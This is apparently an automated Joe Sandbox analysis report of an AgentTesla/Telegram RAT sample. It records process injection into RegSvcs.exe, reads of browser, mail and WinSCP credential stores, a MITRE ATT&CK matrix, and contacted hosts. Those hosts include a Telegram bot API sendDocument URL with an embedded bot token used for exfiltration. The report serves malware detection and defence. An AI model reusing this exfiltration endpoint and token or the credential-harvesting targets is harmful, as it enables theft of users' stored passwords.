Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\g0PWOnCNZH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\g0PWOnCNZH.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 1_2_00E9F120 GetUserNameW,

1_2_00E9F120

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match	File source: 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6088, type: MEMORYSTR

Yara detected AgentTesla

Source: Yara match	File source: 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6088, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match	File source: 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6088, type: MEMORYSTR

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6088, type: MEMORYSTR

Yara detected AgentTesla

Source: Yara match	File source: 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6088, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	Path Interception	311 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Web Service	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	1 Credentials in Registry	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	114 System Information Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
g0PWOnCNZH.exe	43%	Virustotal		Browse
g0PWOnCNZH.exe	26%	ReversingLabs	Win32.Trojan.Generic
g0PWOnCNZH.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.2.RegSvcs.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1203035		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.sajatypeworks.comiv	0%	URL Reputation	safe
http://www.sajatypeworks.com2	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.fontbureau.coml1	0%	URL Reputation	safe
http://www.founder.com.cn/cnD	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
https://api.telegram.org4	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.comgrito	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sajatypeworks.comTF	0%	URL Reputation	safe
http://www.carterandcone.comTC	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.monotype.	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.tiro.com(	0%	Avira URL Cloud	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.fontbureau.como	0%	URL Reputation	safe
http://www.monotype.U	0%	Avira URL Cloud	safe
http://www.tiro.comw	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comq	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htmR	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htmR	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api4.ipify.org	64.185.227.155	true	false	high
api.telegram.org	149.154.167.220	true	false	high
api.ipify.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
https://api.telegram.org/bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.monotype.U	g0PWOnCNZH.exe, 00000000.00000003.261959194.0000000005D5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.comiv	g0PWOnCNZH.exe, 00000000.00000003.252565247.0000000005D6B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com2	g0PWOnCNZH.exe, 00000000.00000003.252565247.0000000005D6B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	RegSvcs.exe, 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersB	g0PWOnCNZH.exe, 00000000.00000003.263731883.0000000005D55000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.tiro.com	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	g0PWOnCNZH.exe, 00000000.00000003.270701555.0000000005D50000.00000004.00000020.00020000.00000000.sdmp, g0PWOnCNZH.exe, 00000000.00000003.255937391.0000000005D5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.coml1	g0PWOnCNZH.exe, 00000000.00000002.275360961.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cnD	g0PWOnCNZH.exe, 00000000.00000003.253963556.0000000005D58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org	RegSvcs.exe, 00000001.00000002.524290015.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://fontfabrik.com	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org4	RegSvcs.exe, 00000001.00000002.524290015.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.comgrito	g0PWOnCNZH.exe, 00000000.00000002.275360961.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com(	g0PWOnCNZH.exe, 00000000.00000003.254042499.0000000005D58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.zhongyicts.com.cn	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htmR	g0PWOnCNZH.exe, 00000000.00000003.261346015.0000000005D55000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000001.00000002.524290015.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.comw	g0PWOnCNZH.exe, 00000000.00000003.254042499.0000000005D5E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.comq	g0PWOnCNZH.exe, 00000000.00000003.252565247.0000000005D6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.comTF	g0PWOnCNZH.exe, 00000000.00000003.252565247.0000000005D6B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comTC	g0PWOnCNZH.exe, 00000000.00000003.255937391.0000000005D5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot2134979594:AAFk4QkrlHlt2a-q-EhIoHZBbzxSH0QxiBI/	RegSvcs.exe, 00000001.00000002.524290015.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	g0PWOnCNZH.exe, 00000000.00000003.253963556.0000000005D58000.00000004.00000020.00020000.00000000.sdmp, g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.monotype.	g0PWOnCNZH.exe, 00000000.00000003.261959194.0000000005D5B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.como	g0PWOnCNZH.exe, 00000000.00000002.275360961.0000000001517000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	g0PWOnCNZH.exe, 00000000.00000002.297868542.0000000006F62000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	RegSvcs.exe, 00000001.00000002.524290015.0000000002921000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
64.185.227.155	api4.ipify.org	United States		18450	WEBNXUS	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830729
Start date and time:	2023-03-20 16:40:05 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	g0PWOnCNZH.exe
Original Sample Name:	87be1ac6122ed0c75b3af80696b9e686.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@3/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 95% Number of executed functions: 43 Number of non-executed functions: 13
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:41:07	API Interceptor	1x Sleep call for process: g0PWOnCNZH.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	file.exe	Get hash	malicious	Unknown	Browse
	Remittance_slip.bat	Get hash	malicious	Unknown	Browse
	New_Order_M2023SI3.xls	Get hash	malicious	AgentTesla	Browse
	PDA_REQUEST_DISCHARGE_55,000_MT_GRAIN_IN_BULK_pdf.exe	Get hash	malicious	Vector Stealer	Browse
	PO_340166.exe	Get hash	malicious	AgentTesla	Browse
	PO_IN34023.exe	Get hash	malicious	AgentTesla, zgRAT	Browse
	FixDefError.exe	Get hash	malicious	Xmrig	Browse
	doc10010679052382012143717.exe	Get hash	malicious	AgentTesla	Browse
	EPe7VpI8DZ.exe	Get hash	malicious	AgentTesla	Browse
	NJA7TOaADm.exe	Get hash	malicious	AgentTesla, zgRAT	Browse
	2wJjtj30x6.exe	Get hash	malicious	AgentTesla	Browse
	iubK8Ka7o7.exe	Get hash	malicious	AgentTesla	Browse
	Bank_Slip-_701536.doc	Get hash	malicious	AgentTesla	Browse
	YWombrpvpG.exe	Get hash	malicious	AgentTesla	Browse
	Bestellung_(PO4703392)_doc.exe	Get hash	malicious	AgentTesla	Browse
	Parts.exe	Get hash	malicious	AgentTesla	Browse
	DHL_Original_Document.exe	Get hash	malicious	AgentTesla	Browse
	e-dekont.exe	Get hash	malicious	AgentTesla	Browse
	Dn4GujmGOF.exe	Get hash	malicious	AgentTesla	Browse
	Inv-67383728 [Reference Nr.exe	Get hash	malicious	AgentTesla	Browse
64.185.227.155	CnsRlvK7Ho.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	aKiefGOIEn.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	api.ipify.org/
	M74aRxVX4H.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	api.ipify.org/
	WolcGwXQ5c.exe	Get hash	malicious	Ficker Stealer, RHADAMANTHYS, Rusty Stealer	Browse	api.ipify.org/?format=wef
	XZerken3Py.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	api.ipify.org/
	xc17rfFdOM.exe	Get hash	malicious	Ficker Stealer, Rusty Stealer	Browse	api.ipify.org/?format=wef
	8Ghi4RAfH5.exe	Get hash	malicious	Ficker Stealer, Rusty Stealer	Browse	api.ipify.org/?format=wef
	fb623f4ae4dcaa007cac4365aa3ce13526ae32b94f2d9.exe	Get hash	malicious	Ficker Stealer, Rusty Stealer	Browse	api.ipify.org/?format=wef
	file.exe	Get hash	malicious	Ficker Stealer, Rusty Stealer	Browse	api.ipify.org/?format=wef
	48PTRR4pVY.exe	Get hash	malicious	Ficker Stealer, Rusty Stealer	Browse	api.ipify.org/?format=qwd

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api4.ipify.org	FeDex_shipping_document.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.155
	DHL_Shipping_Document2.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	173.231.16.76
	New_Order_M2023SI3.xls	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	TT_copy.xls	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	PO2023#PREORDER.PDF.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.155
	PO_340166.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.155
	2303-64687.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	Product_specifications.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	REQUEST_FOR_QUOTE_1603023.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	104.237.62.211
	eRPRiQhQEI.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	INV_SOA.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	IMG_6071220733pdf.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	yeni_sipari#U015f.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	yeni_sipari#U015f.exe	Get hash	malicious	AgentTesla	Browse	173.231.16.76
	DHL_AWB_copy_&_draft_COO.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.155
	FixDefError.exe	Get hash	malicious	Xmrig	Browse	104.237.62.211
	main.exe	Get hash	malicious	Discord Token Stealer	Browse	173.231.16.76
	Purchase_Order-0823636.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.155
	EPe7VpI8DZ.exe	Get hash	malicious	AgentTesla	Browse	104.237.62.211
	V9hBN9tW4H.exe	Get hash	malicious	AgentTesla	Browse	64.185.227.155
api.telegram.org	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Remittance_slip.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	New_Order_M2023SI3.xls	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	PDA_REQUEST_DISCHARGE_55,000_MT_GRAIN_IN_BULK_pdf.exe	Get hash	malicious	Vector Stealer	Browse	149.154.167.220
	PO_340166.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	PO_IN34023.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	149.154.167.220
	FixDefError.exe	Get hash	malicious	Xmrig	Browse	149.154.167.220
	doc10010679052382012143717.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	EPe7VpI8DZ.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	NJA7TOaADm.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	149.154.167.220
	2wJjtj30x6.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	iubK8Ka7o7.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Bank_Slip-_701536.doc	Get hash	malicious	AgentTesla	Browse	149.154.167.220
